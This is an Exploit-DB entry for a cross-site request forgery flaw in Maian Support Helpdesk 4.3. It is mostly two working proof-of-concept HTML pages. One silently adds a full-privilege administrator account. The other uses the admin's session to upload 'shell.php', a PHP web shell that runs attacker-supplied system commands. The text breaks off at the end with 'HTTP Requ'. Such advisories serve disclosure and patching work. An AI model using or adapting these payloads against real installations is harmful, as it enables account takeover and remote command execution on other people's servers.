Exploit-DB #48386
Description: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-04-27
Author: Besim

Exploit:
# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-04-26
# Author: Besim ALTINOK
# Vendor Homepage: https://www.maiansupport.com
# Software Link: https://www.maiansupport.com/zip.html
# Version: v4.3
# Tested on: Xampp
# Credit: İsmail BOZKURT
----------------------------------------------

Here is the Detail:
--------------------------------------------------
This product is unprotected against CSRF vulnerabilities. With this attack,
you can add an admin account to the system. In addition, you can add files
from the F.A.Q field as admin.There are no file restrictions here.
Therefore, you can upload a PHP file here with CSRF.

If you want, you can add an admin account first and then access the system
and upload files.
Or you can upload files with direct admin rights.

---------------------------------------------------
CSRF PoC - 1 (Add Administrator user)
-------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/helpdesk/admin/index.php?ajax=team"
method="POST">
      <input type="hidden" name="enabled" value="yes" />
      <input type="hidden" name="admin" value="yes" />
      <input type="hidden" name="welcome" value="yes" />
      <input type="hidden" name="name" value="Besim&#32;ALTINOK" />
      <input type="hidden" name="email" value="test2&#64;gmail&#46;com" />
      <input type="hidden" name="accpass" value="111111" />
      <input type="hidden" name="timezone" value="0" />
      <input type="hidden" name="language" value="" />
      <input type="hidden" name="addpages" value="" />
      <input type="hidden" name="notePadEnable" value="yes" />
      <input type="hidden" name="enableLog" value="yes" />
      <input type="hidden" name="mergeperms" value="yes" />
      <input type="hidden" name="profile" value="yes" />
      <input type="hidden" name="ticketHistory" value="yes" />
      <input type="hidden" name="close" value="yes" />
      <input type="hidden" name="lock" value="yes" />
      <input type="hidden" name="editperms&#91;&#93;" value="ticket" />
      <input type="hidden" name="editperms&#91;&#93;" value="reply" />
      <input type="hidden" name="timer" value="yes" />
      <input type="hidden" name="startwork" value="yes" />
      <input type="hidden" name="workedit" value="yes" />
      <input type="hidden" name="notify" value="yes" />
      <input type="hidden" name="spamnotify" value="yes" />
      <input type="hidden" name="signature" value="" />
      <input type="hidden" name="nameFrom" value="" />
      <input type="hidden" name="emailFrom" value="" />
      <input type="hidden" name="email2" value="" />
      <input type="hidden" name="notes" value="" />
      <input type="hidden" name="mailbox" value="yes" />
      <input type="hidden" name="mailDeletion" value="yes" />
      <input type="hidden" name="mailScreen" value="yes" />
      <input type="hidden" name="mailCopy" value="yes" />
      <input type="hidden" name="mailFolders" value="5" />
      <input type="hidden" name="mailPurge" value="0" />
      <input type="hidden" name="digest" value="yes" />
      <input type="hidden" name="process" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

- After the Add admin account, you can upload the PHP file.

CSRF PoC 2 - ( Directly, File Upload)
----------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);
        xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]31626849");
        xhr.withCredentials = true;
        var body =
"----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"file[]\";
filename=\"shell.php\"\r\n" +
          "Content-Type: text/php\r\n" +
          "\r\n" +
          "\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"file[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"process\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849\r\n" +
          "Content-Disposition: form-data; name=\"opath\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]31626849--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

HTTP Requ